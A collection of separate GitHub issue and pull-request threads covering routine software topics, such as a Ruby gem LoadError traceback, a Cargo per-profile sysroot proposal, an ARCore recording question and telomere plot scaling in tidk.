chore(controller): update static wsgi library to v1.1.1

See https://github.com/lukearno/static/compare/v1.0.2...v1.1.1
TESTING:
This is a minor update that affects only resources served at the /static/ prefix, copied there by manage.py collectstatic.
Do deisctl config controller set webEnabled=1 and log in at the admin URL, then visit http://deis.local3.deisapp.com/apps/ and verify that CSS and images are served correctly.

Code LGTM.

very minor updates. code LGTM regardless!


Create neskt.txt

Added New English School

@Olympian24 The first verification stage is complete: the official domain for  New English School is www.neskt.com, to the best of my knowledge. This is just an informational note. The pull request is still under review. The review may take some more time. I greatly appreciate your patience. Here is the proof of domain ownership: https://www.neskt.com/fs/resource-manager/view/88c411b9-611d-4ccd-b0f3-60bb7a1659c3

@Olympian24 Thank you for your patience while waiting for a review and processing your request. Pull request merged.


Load Error under Ruby 2.7.6

Im trying to use the gem in Rails 5.2 under Ruby 2.7.6 and get this:
Top level ::CompositeIO is deprecated, require 'multipart/post' and use `Multipart::Post::CompositeReadIO` instead!
Top level ::Parts is deprecated, require 'multipart/post' and use `Multipart::Post::Parts` instead!
Traceback (most recent call last):
	33: from bin/rails:3:in `<main>'
	32: from bin/rails:3:in `load'
	31: from /Users/jlippiner/Projects/wecora/five/bin/spring:15:in `<top (required)>'
	30: from /Users/jlippiner/Projects/wecora/five/bin/spring:15:in `require'
	29: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/binstub.rb:11:in `<top (required)>'
	28: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/binstub.rb:11:in `load'
	27: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/bin/spring:49:in `<top (required)>'
	26: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client.rb:30:in `run'
	25: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client/command.rb:7:in `call'
	24: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client/rails.rb:28:in `call'
	23: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client/rails.rb:28:in `load'
	22: from /Users/jlippiner/Projects/wecora/five/bin/rails:9:in `<top (required)>'
	21: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	20: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	19: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands.rb:18:in `<main>'
	18: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/command.rb:46:in `invoke'
	17: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/command/base.rb:69:in `perform'
	16: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/thor-1.3.0/lib/thor.rb:527:in `dispatch'
	15: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/thor-1.3.0/lib/thor/invocation.rb:127:in `invoke_command'
	14: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/thor-1.3.0/lib/thor/command.rb:28:in `run'
	13: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands/server/server_command.rb:142:in `perform'
	12: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands/server/server_command.rb:142:in `tap'
	11: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands/server/server_command.rb:145:in `block in perform'
	10: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	 9: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	 8: from /Users/jlippiner/Projects/wecora/five/config/application.rb:13:in `<main>'
	 7: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler.rb:175:in `require'
	 6: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:44:in `require'
	 5: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:44:in `each'
	 4: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:55:in `block in require'
	 3: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:55:in `each'
	 2: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:60:in `block (2 levels) in require'
	 1: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:15:in `require'
/Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:15:in `require': cannot load such file -- expo-server-sdk (LoadError)
	57: from bin/rails:3:in `<main>'
	56: from bin/rails:3:in `load'
	55: from /Users/jlippiner/Projects/wecora/five/bin/spring:15:in `<top (required)>'
	54: from /Users/jlippiner/Projects/wecora/five/bin/spring:15:in `require'
	53: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/binstub.rb:11:in `<top (required)>'
	52: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/binstub.rb:11:in `load'
	51: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/bin/spring:49:in `<top (required)>'
	50: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client.rb:30:in `run'
	49: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client/command.rb:7:in `call'
	48: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client/rails.rb:28:in `call'
	47: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/spring-2.1.1/lib/spring/client/rails.rb:28:in `load'
	46: from /Users/jlippiner/Projects/wecora/five/bin/rails:9:in `<top (required)>'
	45: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	44: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	43: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands.rb:18:in `<main>'
	42: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/command.rb:46:in `invoke'
	41: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/command/base.rb:69:in `perform'
	40: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/thor-1.3.0/lib/thor.rb:527:in `dispatch'
	39: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/thor-1.3.0/lib/thor/invocation.rb:127:in `invoke_command'
	38: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/thor-1.3.0/lib/thor/command.rb:28:in `run'
	37: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands/server/server_command.rb:142:in `perform'
	36: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands/server/server_command.rb:142:in `tap'
	35: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/railties-<IP_ADDRESS>/lib/rails/commands/server/server_command.rb:145:in `block in perform'
	34: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	33: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	32: from /Users/jlippiner/Projects/wecora/five/config/application.rb:13:in `<main>'
	31: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler.rb:175:in `require'
	30: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:44:in `require'
	29: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:44:in `each'
	28: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:51:in `block in require'
	27: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bundler-2.2.33/lib/bundler/runtime.rb:73:in `rescue in block in require'
	26: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	25: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	24: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/expo-server-sdk-0.1.6/lib/expo/server/sdk.rb:4:in `<main>'
	23: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/expo-server-sdk-0.1.6/lib/expo/server/sdk.rb:4:in `require_relative'
	22: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/expo-server-sdk-0.1.6/lib/push/client.rb:4:in `<main>'
	21: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:291:in `require'
	20: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:257:in `load_dependency'
	19: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:291:in `block in require'
	18: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	17: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	16: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/http-5.2.0/lib/http.rb:16:in `<main>'
	15: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:291:in `require'
	14: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:257:in `load_dependency'
	13: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:291:in `block in require'
	12: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	11: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	10: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/http-5.2.0/lib/http/response/parser.rb:3:in `<main>'
	 9: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:291:in `require'
	 8: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:257:in `load_dependency'
	 7: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/activesupport-<IP_ADDRESS>/lib/active_support/dependencies.rb:291:in `block in require'
	 6: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	 5: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/bootsnap-1.12.0/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
	 4: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/llhttp-ffi-0.5.0/lib/llhttp.rb:6:in `<main>'
	 3: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/llhttp-ffi-0.5.0/lib/llhttp.rb:13:in `<module:LLHttp>'
	 2: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/ffi-1.15.5/lib/ffi/library.rb:99:in `ffi_lib'
	 1: from /Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/ffi-1.15.5/lib/ffi/library.rb:99:in `map'
/Users/jlippiner/.rvm/gems/ruby-2.7.6@wecora_rails_5/gems/ffi-1.15.5/lib/ffi/library.rb:145:in `block in ffi_lib': Could not open library<EMAIL_ADDRESS><EMAIL_ADDRESS>0x0005): tried<EMAIL_ADDRESS>(mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64h' or 'x86_64'<EMAIL_ADDRESS>(no such file<EMAIL_ADDRESS>(mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64h' or 'x86_64')) (LoadError)

Which prevents the server from starting

It seems that you're trying to load expo-server-sdk, instead of expo/server/sdk, as listed in the Readme


Reduce gems loaded

Reduce the gems loaded, particularly in the production environment.
This speeds booting and can reduce memory use.
We don't need gem 'faker' at all in production, so explicitly
state that we only load it during test or development.
In many other cases we can add 'require: false' to disable bundler's
automatic loading.
Signed-off-by: David A. Wheeler<EMAIL_ADDRESS>

In general we want to reduce the gems that are loaded.
The basic idea was suggested here (among other places):
https://speakerdeck.com/nateberkopec/reduce-ruby-memory-usage-with-these-12-weird-tricks
Anyone have additional suggestions for how to delay or eliminate unnecessarily gem loading?

Codecov Report

Merging #788 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master   #788   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          44     44
  Lines        1390   1390
=====================================
  Hits         1390   1390

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f77ad64...4d9c1f3. Read the comment docs.

FYI, we originally supported faker in production so we could quickly create useful fake data on Heroku with heroku run rake db:seed. It's no longer necessary.

Oh, that's right.  It seems like a long time ago!  But I think we agree it's no longer needed, and slimming down seems like a good idea.


Output to Chat Not working in .22 and .23

It seems both version 0.22.0 and 0.23.0 no longer handle adding output from commands to the chat properly. I had to roll back to 0.21.0 to get this extremely useful functionality back.
not working

0.21.0 - working

Thanks for trying aider and filing this issue.
It looks like it was a bug in the ! shortcut for /run. The actual /run command seems to work fine in all versions.
The fix is available in the main branch. You can get it by installing the latest version from github:
python -m pip install --upgrade git+https://github.com/paul-gauthier/aider.git

If you have a chance to try it, let me know if it works better for you. Or you can always just use /run in the meantime.

I'm going to close this issue for now, but feel free to add a comment here and I will re-open or file a new issue any time.


Fixed issue with accessibility challenge about accesskeys

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

Partly fixes #17945

@thecodingaviator How does it fix that issue? The issue is about algorithm and you're adding a note.
Also, don't add links to w3schools.

@ezioda004
I think I’ve put the wrong issue no on this one, I’ll check it in some time. As far as the link is concerned, I can make a table in the challenge about this but wouldn’t that hag up a lot of space on the contents?

@ezioda004 The issue no has been corrected

@thecodingaviator You can certainly add a reference to some other website (preferably wikipedia, MDN). We avoid w3schools because its unreliable and often has incomplete or incorrect information.

@ezioda004 done

@ezioda004

Thank you for your PR, but we don’t use outbound links in challenge instructions see the challenge style guide for more details.
Thanks and happy coding!


Stuck on settings dialogue after the very first admin login

After filling in the settings dialogue at first start, nothing happens on pressing the submit button.

Sorry about that. Just for context, can you please provide a little more details on the environment  & application version you are using?

Thank you for your prompt reply.
I am using Pharmaspot v1.4.0 on Windows 10
Application launches normally but after filling in the settings dialogue, I am unable to save changes. Pressing save settings button does nothing. I am attaching a screenshot of the screen.

I've noted on my end too and it's gonna be fixed.

Thank you.

This has been fixed in the latest version

I am still having this problem with the latest version 1.4.1.
After filling all the boxes the button "Save Settings" doesn't work.

Sorry about this! Which OS are you currently using?

Thank you! I am currently using Windows 10

Issue still persit on windows

Can you please provide details on your environment? Pharmspot version and OS. Is this happening during development or in the production release?


[test-only] changing status code of the api tests

https://github.com/owncloud/ocis/issues/3516 fixed but tests were failed because expected code was 400 instead of 409
I changed code and deleted tests from expected failures list

:boom: Acceptance test localApiTests-apiGraph-ocis failed. Further test are cancelled...


Fixing file search results styles and text on channels without files

Summary
Fixing file search results styles and text on channels without files
Ticket Link
MM-34711
Screenshots

Cherry pick is scheduled.

Error trying doing the automated Cherry picking. Please do this manually
+++ Updating remotes...
Fetching upstream
Failed to add the RSA host key for IP address '<IP_ADDRESS>' to the list of known hosts (/app/.ssh/known_hosts).
From github.com:mattermost/mattermost-webapp
   986d193ae..8725e32b1  cloud      -> upstream/cloud
   a051edfb3..a7949a565  master     -> upstream/master
Fetching origin
Failed to add the RSA host key for IP address '<IP_ADDRESS>' to the list of known hosts (/app/.ssh/known_hosts).
+++ Updating remotes done...
!!! 'upstream/release-5.35' not found. The second argument should be something like upstream/release-0.21.
    (In particular, it needs to be a valid, existing remote branch that I can 'git checkout'.)

+++ Returning you to the master branch and cleaning up.

/cherry-pick cloud

Cherry pick is scheduled.


[WIP] per profile sysroot via Cargo.toml

This patch lets you use the 'profile.$profile.sysroot' key in Cargo.toml to pass --sysroot $path
to rustc during the compilation of the current crate and its dependencies.
Main use cases are kernel development and bare metal programming (e.g. microcontrollers) where the
application depends on a minimal set of "core" crates like core, alloc, collections, etc.
These dependencies need to be cross compiled for the target platform/architecture and a "sysroot"
(*) provides, IMO ,the cleanest way to make these core dependencies available to the many crates
that conform the application.
(*) A sysroot is basically a directory that holds the already (cross) compiled "standard" crates
(i.e. core, std, etc) that are linked to your Rust programs when you call rustc. The important
bit is that you don't explicitly spell out these dependencies in e.g. a Cargo.toml; they are
implicitly available. The fastest way to familiarize with sysroots is to explore the default sysroot
with something like tree $(rustc --print sysroot).
cc #2312

This is minimal PoC to start the discussion. There are a few unresolved questions.

The RUSTFLAGS feature can also be used to pass --sysroot to rustc. Should we just use that
feature and not implement this one?
Does this setting belong in the project's Cargo.toml or in a project local .cargo/config?
What happens if the user uses a relative path for the value of sysroot? Is this path relative to
the call site or relative the root of the cargo project? Example, if the user sets 'sysroot =
foo' in their Cargo project and then calls cargo build --manifest-path some/path/Cargo.toml
should $(pwd)/foo or some/path/foo be used as the sysroot?

cc @alexcrichton @Zoxc

r? @alexcrichton
(rust_highfive has picked a reviewer for you, use r? to override)

The RUSTFLAGS feature can also be used to pass --sysroot to rustc. Should we just use that
feature and not implement this one?

IMO, the feature implemented here is way more ergonomic, mainly because it's a per profile setting.
For example, when paired with cargo-sysroot one can create a debug and a release sysroot
and use this feature to automagically swap between them:
# build sysroots
$ cargo sysroot --target $triple sysroot
$ cargo sysroot --target $triple sysroot --release
$ tail Cargo.toml
[profile.dev]
sysroot = "sysroot/debug"

[profile.release]
sysroot = "sysroot/release"

# Uses the debug-enabled sysroot
$ cargo build --target $triple

# Uses the release sysroot
$ cargo build --target $triple --release

On the other hand, the RUSTFLAGS feature doesn't provide a per profile setting so you would have to
call:
$ RUSTFLAGS='--sysroot=sysroot/debug' cargo build --target $triple

$ RUSTFLAGS='--sysroot=sysroot/release' cargo build --target $triple --release

Which is less ergonomic.

Thanks for the PR @japaric! In terms of links this also interacts with https://github.com/rust-lang/rfcs/pull/1133 in the sense that Cargo may one day grow some "smarter resolution" for cross-compiled sysroots or something like that. That RFC, however, is still quite early and probably needs some work, so I wouldn't necessarily want to block this on that.
In terms of whether this belongs in .cargo/config or Cargo.toml, the intentions for those are:

.cargo/config - configuration that's machine specific and likely shouldn't be copied by default to anyone else.
Cargo.toml - configuration that's project-specific and should indeed be shared with other developers.

The case of sysroot here is interesting because there's a few concerns with it:

It is likely required to get the project to compile, which profile isn't necessarily appropriate for. The "top level package" always selects profiles, so child crates are always ignored in this regard.
The actual location of the sysroot, however, may vary across machines.

I guess to be honest I'm not sure if we want to land this just yet or not. I definitely agree that this is more ergonomic than RUSTFLAGS, but leveraging this option is already indicative of driving Cargo from some external build system (the sysroot has to be created somehow), and in that case setting the environment variable may not be so bad?

driving Cargo from some external build system (the sysroot has to be created somehow), and in that case setting the environment variable may not be so bad?

Now that RUSTFLAGS is a thing, I created a cargo wrapper that can be used just like cargo: xargo build --target $custom_target but it takes care of building/maintaining the sysroot and setting the RUSTFLAGS variable without user intervention. It addresses my ergonomics concern, so I'm going to close this.
Thanks for sharing your thoughts @alexcrichton!


Idles went offline

Hi
My two bots went offline today. Has something happened to the node-steam api that it is now outdated?
I've been unable to relog in since. It seems to think forever after attempting to log in.
I've tried updating the 'servers' file in the node-steam dir with the list of new servers but that didn't fix it.
Is there something else I am missing?
Thank you!
Edit: My bots have been offline for 15+ hours now

The servers.js is just outdated. Take this one:
https://github.com/seishun/node-steam/pull/443
Should work for you.

Closing due to lack of response from the reporter.


bfs dfs

[Enter feedback here]
the abbreviations are not so logical. the name in the azure url is dfs, the protocol part is abfs.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 666641d4-82c6-ad6a-9c54-87f425b127b3
Version Independent ID: cbb7e811-8c56-86ab-b91e-4f0838776fea
Content: The Azure Blob Filesystem driver for Azure Data Lake Storage Gen2 - Azure Storage
Content Source: articles/storage/blobs/data-lake-storage-abfs-driver.md
Service: azure-data-lake-storage
GitHub Login: @normesta
Microsoft Alias: normesta

@soloturn
Thanks for your feedback! We will investigate and update as appropriate.

Thanks for sharing these impressions! DFS is not used as an acronym in docs. As you say, "dfs" appears in the URL. ABFS is Azure Blob File System" driver. That one maps well. If we are using an undefined acronym (acronym this is not spelled out on first use), please let us know and we'll correct it. Thank you.
#please-close

@normesta how would "dfs" match well with abfs ?


Python Model Validation

Validating the python code against the original Matlab model.

The order of the sediment routing and topographic diffusion is not consistent with the original Matlab code.
The Matlab code routes sand (coarse), performs the topographic diffusion, then routes the mud (fines).
pyDeltaRCM is routing sand (coarse), routing mud (fines), and then doing the topographic diffusion at the end.


Recording different objects in arcore

I am able to record the entire surface view of the helloAR project. I would like to record two videos simultaneously, the background renderer and the entire rendering with the 3d object placed over the background renderer(camera feed). Essentially saving the camera feed to one video and the camera+AR feed to another video. Currently i am taking snapshots of every frame but this is way too slow and skips a bunch of frames. Is there a way i can implement this with this library?

I can see a way for you to record one or the other fairly easily. onDrawFrame is called twice in here: once for the screen, then once for the media surface.
It could be fairly straightforward to draw both to the screen and then on the second pass (the pass where it draws to the media surface) only draw the AR components.
A hard problem, however is that a media recorder can only bind to one surface at a time, so in order to do both you'd have to add another surface and media recorders to the GL stack and another render pass.

Thanks for you reply.

It could be fairly straightforward to draw both to the screen and then on the second pass (the pass where it draws to the media surface) only draw the AR components.
I am having some trouble getting that to work. I get the concept and here is how i am implementing it:
In MyGLRenderer.java - i draw both to the screen
In MyGLSurfaceView.java - i only draw the square.(draws to media surface?)
This results in the screen only displaying the square and also only recording the square. I would like to draw both the square and the triangle to the screen (display) but only save a video containing the square without the triangle. Is there something i am missing in my process?

Found the solution! i was looking at this all wrong, i added a method to the RenderCallbacks interfaces that would be called during the recording instead of onDrawFrame. This method would draw only the square hence achieving the recording of only one element(square). Thanks again!

@samuelprince77 would you share your project with me? I`m struggeling to get RecordableSurfaceView to work with ArCore in my existing app and an example would certaintly help!

closing as it seems to be resolved


enableLayoutEditing

Hey, love this lib - I have implemented a feature where you can add and remove columns. Is that something you care to have in this library and you would give me a PR and merge? Thanks!

Were you able to get this into the repo? I would also like the ability to add classes. I plan on trying to submit a pull request with a "container class" that would give you the ability to add the classes to the containing div.

@ondrej-langr
You can try submitting a pull request.
https://github.com/hata6502/editorjs-layout/pulls

I'm trying to do a pull request but when I build the current project with the shortcut "CMD+L". Would you know why this would happen because I don't have any other plugins with that shortcut. When I remove the shortcut it loads fine. If your fine with the shortcut being removed I can submit the pull request.
Editor.js version 2.27.0


one_lifetime and two_lifetimes tests fail on 32 bit.

Hi
rust-arbitrary's tests are failing on Debian's QA infrastruture when built with the "derive" feature, specifically.
---- one_lifetime stdout ----
thread 'one_lifetime' panicked at 'assertion failed: (left == right)
left: 4,
right: 8', tests/derive.rs:167:5
stack backtrace:
0: rust_begin_unwind
at /usr/src/rustc-1.56.0/library/std/src/panicking.rs:517:5
1: core::panicking::panic_fmt
at /usr/src/rustc-1.56.0/library/core/src/panicking.rs:101:14
2: core::panicking::assert_failed_inner
3: core::panicking::assert_failed
at /usr/src/rustc-1.56.0/library/core/src/panicking.rs:140:5
4: derive::one_lifetime
at ./tests/derive.rs:167:5
5: derive::one_lifetime::{{closure}}
at ./tests/derive.rs:160:1
6: core::ops::function::FnOnce::call_once
at /usr/src/rustc-1.56.0/library/core/src/ops/function.rs:227:5
7: core::ops::function::FnOnce::call_once
at /usr/src/rustc-1.56.0/library/core/src/ops/function.rs:227:5
note: Some details are omitted, run with RUST_BACKTRACE=full for a verbose backtrace.
---- two_lifetimes stdout ----
thread 'two_lifetimes' panicked at 'assertion failed: (left == right)
left: 8,
right: 16', tests/derive.rs:186:5
stack backtrace:
0: rust_begin_unwind
at /usr/src/rustc-1.56.0/library/std/src/panicking.rs:517:5
1: core::panicking::panic_fmt
at /usr/src/rustc-1.56.0/library/core/src/panicking.rs:101:14
2: core::panicking::assert_failed_inner
3: core::panicking::assert_failed
at /usr/src/rustc-1.56.0/library/core/src/panicking.rs:140:5
4: derive::two_lifetimes
at ./tests/derive.rs:186:5
5: derive::two_lifetimes::{{closure}}
at ./tests/derive.rs:178:1
6: core::ops::function::FnOnce::call_once
at /usr/src/rustc-1.56.0/library/core/src/ops/function.rs:227:5
7: core::ops::function::FnOnce::call_once
at /usr/src/rustc-1.56.0/library/core/src/ops/function.rs:227:5
note: Some details are omitted, run with RUST_BACKTRACE=full for a verbose backtrace.
I'm guessing this is a testsuite issue and that the values should be changed to be the size of a pointer and twice the size of a pointer respectively rather than hardcoded values of 8 and 16 but I'd like confirmation from someone who actually understands the code.

Yeah these tests should be using std::mem::size_of::<usize>()


scale tidk plot --tsv x.tsv ?

Hi,
I've been trying tidk search, explore and then plotting with tidk plot.
Data on the plots are barely visible. Perhaps a log scale would be more effective ? I'm not sure if the counts I have are just too low relative to the putative telomere counts, or if the whole graph is scaled so I can't see much.
Counts - example  - from a recent public genome, fairly typical for my genomes. Telomeres have roughly counts of 1000 copies, intrachromosomal 10 to 200.
This is a summary file for the top 60 lines of a file sorted by Telomere_count, then sorted by Chr and then by Start. I'm using the full tsv for the plot step of course.
#Chr   Start     Stop      Telomere_count
Chr01  0         10000     1411
Chr01  10000     20000     777
Chr01  36960000  36970000  21
Chr01  37000000  37010000  93
Chr01  37010000  37020000  1424
Chr01  37020000  37030000  381
Chr02  0         10000     732
Chr02  38110000  38120000  357
Chr02  38120000  38130000  1264
Chr03  0         10000     1248
Chr03  21000000  21010000  11
Chr03  31730000  31740000  11
Chr03  32430000  32440000  660
Chr03  32440000  32450000  1424
Chr03  32450000  32460000  1423
Chr03  32460000  32470000  353

Hi Max, thanks for the quick reply.
Its definitely tidk search, here's the nextflow code. I'm using the plant canonical telomere, which works well for most assemblies.
This is the latest release AFAIK.

    tidk_ubuntu_0.2.31 search --string $params.telomere --output ${prefix} --dir . --extension tsv $fasta
    tidk_ubuntu_0.2.31 plot --tsv ${prefix}_telomeric_repeat_windows.tsv
